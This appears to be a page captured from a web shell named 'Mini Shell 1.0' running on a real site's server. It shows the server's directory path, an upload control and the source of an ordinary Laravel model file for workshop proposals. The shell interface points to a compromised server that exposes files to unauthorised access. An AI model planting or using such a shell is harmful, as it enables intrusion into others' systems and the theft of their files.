HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/app/Models/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Models/WorkShopProposal.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class WorkShopProposal extends Model {
    protected $table = 'workshop_proposals';

    protected $fillable = [
        'note',
        'price',
        'selected_day',
        'combined_order_id'
    ];

    protected $attributes = [
        'price' => 0.0
    ];

    public function combinedOrder(){
        return $this->belongsTo(CombinedOrder::class);
    }

    public function openedConversation(){
        return $this->hasOne(WhatsappOpenedConversation::class, 'workshop_proposal_id', 'id');
    }
}